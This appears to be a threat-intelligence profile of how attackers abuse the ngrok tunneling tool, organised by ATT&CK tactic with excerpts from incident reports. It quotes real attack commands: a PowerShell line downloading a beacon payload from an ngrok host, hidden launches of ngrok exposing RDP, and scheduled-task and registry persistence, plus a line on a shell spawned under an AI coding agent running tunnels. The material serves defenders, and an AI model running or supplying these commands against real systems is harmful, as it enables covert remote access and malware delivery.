Ngrok
- Capabilities
- ExfiltrationPersistenceLateral movementPost exploitationDefense evasion
- Platforms
- WindowsAndroid
ngrok is a legitimate tunneling and reverse-proxy tool frequently abused by threat actors to obtain remote access to compromised systems. It exposes local services through public endpoints backed by ngrok infrastructure, enabling connections to hosts behind NAT or inbound firewall restrictions. Its legitimate administrative and development uses distinguish it from a purpose-built malware family.
Attackers commonly use ngrok to expose RDP and VNC services, proxy command-and-control communications, support lateral movement, and exfiltrate data. Encrypted tunnels, including those carried over outbound HTTPS, can conceal traffic and bypass perimeter restrictions without requiring externally exposed RDP ports. Operators have installed ngrok as a Windows service and deployed it across multiple hosts to maintain redundant access. Some intrusions have retained tunneling tools as fallback access mechanisms activated after remediation.
Documented users include Scattered Spider, Akira operators, Twelve, TunnelVision, Fox Kitten, and Iranian government-sponsored actors. Windows deployments include installations on internal servers following compromise of VMware Horizon through Log4Shell. ngrok has also been used alongside Loki backdoors and incorporated into Vultur's remote-access functionality with AlphaVNC on Android. These associations reflect abuse of a shared legitimate utility rather than exclusive attribution to any actor or malware family.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“In some intrusions, these were held in reserve and activated only after victim organizations had carried out remediation actions, serving as a fallback mechanism to retain access.”
The notorious cybercrime group “Scattered Spider” has used ngrok to establish persistent access in many intrusions, including an incident observed by ReliaQuest in November 2023.
This file is a version of Ngrok software that was hidden in the victim’s computer since the attacker hacked it.
The adversary used ngrok to tunnel traffic. They installed that utility immediately after connecting to the system, and set port 3389 (standard RDP port) in the configuration file.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.
The threat actor uses the additionally installed malware strains and proxy tools, such as Ngrok, to establish a proxy network environment.
Techniques & procedures
41 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult.
Initial Access
2 techniques
Initial Access
The third backdoor is by using a webshell of tmate[.]io... TeamTNT is utilizing this tool as a backdoor. The fourth backdoor is by utilizing a socket connected over HTTP service with Ngrok product.
"we have observed wide exploitation of ... recently Log4Shell... focusing around exploitation of VMware Horizon Log4j vulnerabilities."
Execution
6 techniques
Execution
Lateral movement was further supported by Windows Management Instrumentation (WMI)-based remote execution, which was used to deploy and launch ngrok on additional devices from compromised web servers.
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
ngrok runs at the command-line level; potential parent processes include: CMDline parameters ... PowerShell executes the ngrok application and binds the TCP port 3389
해당 로그는 과거 사례에서도 드로퍼 기능을 담당하는 스크립트 악성코드가 파워쉘 명령을 이용해 파일을 디코딩하는 과정에서 사용되었다.
Immediate children were usually shells (zsh) under Claude Code; a shell under the agent executed curl, cloudflared-related activity, PlistBuddy, launchctl, and process checks.
"The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic..."
Persistence
6 techniques
Persistence
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
The third backdoor is by using a webshell of tmate[.]io... TeamTNT is utilizing this tool as a backdoor. The fourth backdoor is by utilizing a socket connected over HTTP service with Ngrok product.
On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.
LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents.
attackers used nssm.exe to start ngrok as a service to maintain a persistent backdoor.
"SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key." and "...downloaded and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory."
Privilege Escalation
5 techniques
Privilege Escalation
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.
LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents.
attackers used nssm.exe to start ngrok as a service to maintain a persistent backdoor.
"SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key." and "...downloaded and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory."
Stealth
3 techniques
Stealth
NSSM is not malicious by itself, but it can conceal the real executable behind an otherwise legitimate Windows service wrapper.
The threat actor used FRPC ( frpc.exe ) daily as reverse proxy, tunneling RDP over TLS. The FRPC ( frpc.exe ) task name was lpupdate and ran out of Input Method Editor (IME) directory. In other events, the threat actor has been observed hiding activity via ngrok.
powershell.exe /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList 'tcp 3389'
Discovery
2 techniques
Discovery
In this example, the threat actor attempted to download ngrok... $c = "whoami"
This ranged from enterprise-wide encryption with no data exfiltration and extensive reconnaissance via remote access tools like AnyDesk, Ngrok, or LogMeIn...
Lateral Movement
5 techniques
Lateral Movement
The attackers subsequently moved laterally and downloaded additional tools, including (reverse proxy tool) Ngrok, which would play a prominent role in the attack’s later stages, using remote desktop protocol (RDP)
Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network.
Once inside, Pioneer Kitten frequently leverages SSH tunnels, proxy tools (e.g., ngrok, ligolo), or compromised Linux systems to reach Windows and cloud systems.
Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021... the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.
expose remote desktop service ports, like RDP and WinRM, to the open internet
Collection
1 technique
Collection
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -Outfile C:\Windows\Temp\s.zip ; Expand-Archive -Path C:\Windows\Temp\s.zip -DestinationPath C:\Windows\Temp\rk\
Command and Control
13 techniques
Command and Control
If one server goes down, the backdoor automatically rotates to the next available server in its list.
Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host... Cloudflared tunnels traffic through the Cloudflare network.
PowerShell invokes ngrok to communicate to a C2 server to retrieve malicious payload and write to disk powershell.exe /c (new-object System.Net.WebClient).DownloadFile('http://2f65dfe21ccb.ngrok.io/b3.exe','C:\tmp\beacon.exe')
The actors used Ngrok to proxy RDP connections and to perform command and control.
"APT41 used a tool called CLASSFON to covertly proxy network communications." / "BADCALL functions as a proxy server between the victim and C2 server." / "Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic..."
ngrok and Cloudflared.exe expose RDP services or establish persistent outbound tunnels.
the threat actor also installed a tunneling program called Ngrok to expose systems located within a NAT environment, allowing external access.
Throughout the activity the usage of multiple legitimate services was observed... transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com
The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.
Operators abused a wide array of remote access tools, these included: Atera, Teramind, AnyDesk, ngrok as well as MeshCentral/MeshAgents and AdaptixC2.
APT41 has used DGAs to change their C2 servers monthly. Aria-body has the ability to use a DGA for C2 communications. Astaroth has used a DGA in C2 communications. Bazar can implement DGA using the current date as a seed variable.
The threat actor used FRPC.exe to tunnel RDP over port 443. The threat actor has also been observed using ngrok for tunneling.
He did route his connections through a VPN hosted at servers from Tzulo along with the developer-oriented ngrok tunneling service and teleport.sh.
Exfiltration
4 techniques
Exfiltration
ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
Exfil to Listener With ngrok... Below is the secret value intercepted with your Netcat listener.
In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567].
Doelservers of -services bevinden zich onder meer bij Mega, pCloud, Dropbox, Sendspace, OneDrive, GitHub en Google Drive. MegaSync en Rclone worden genoemd als veelgebruikte tooling.
Observables
11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
26 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.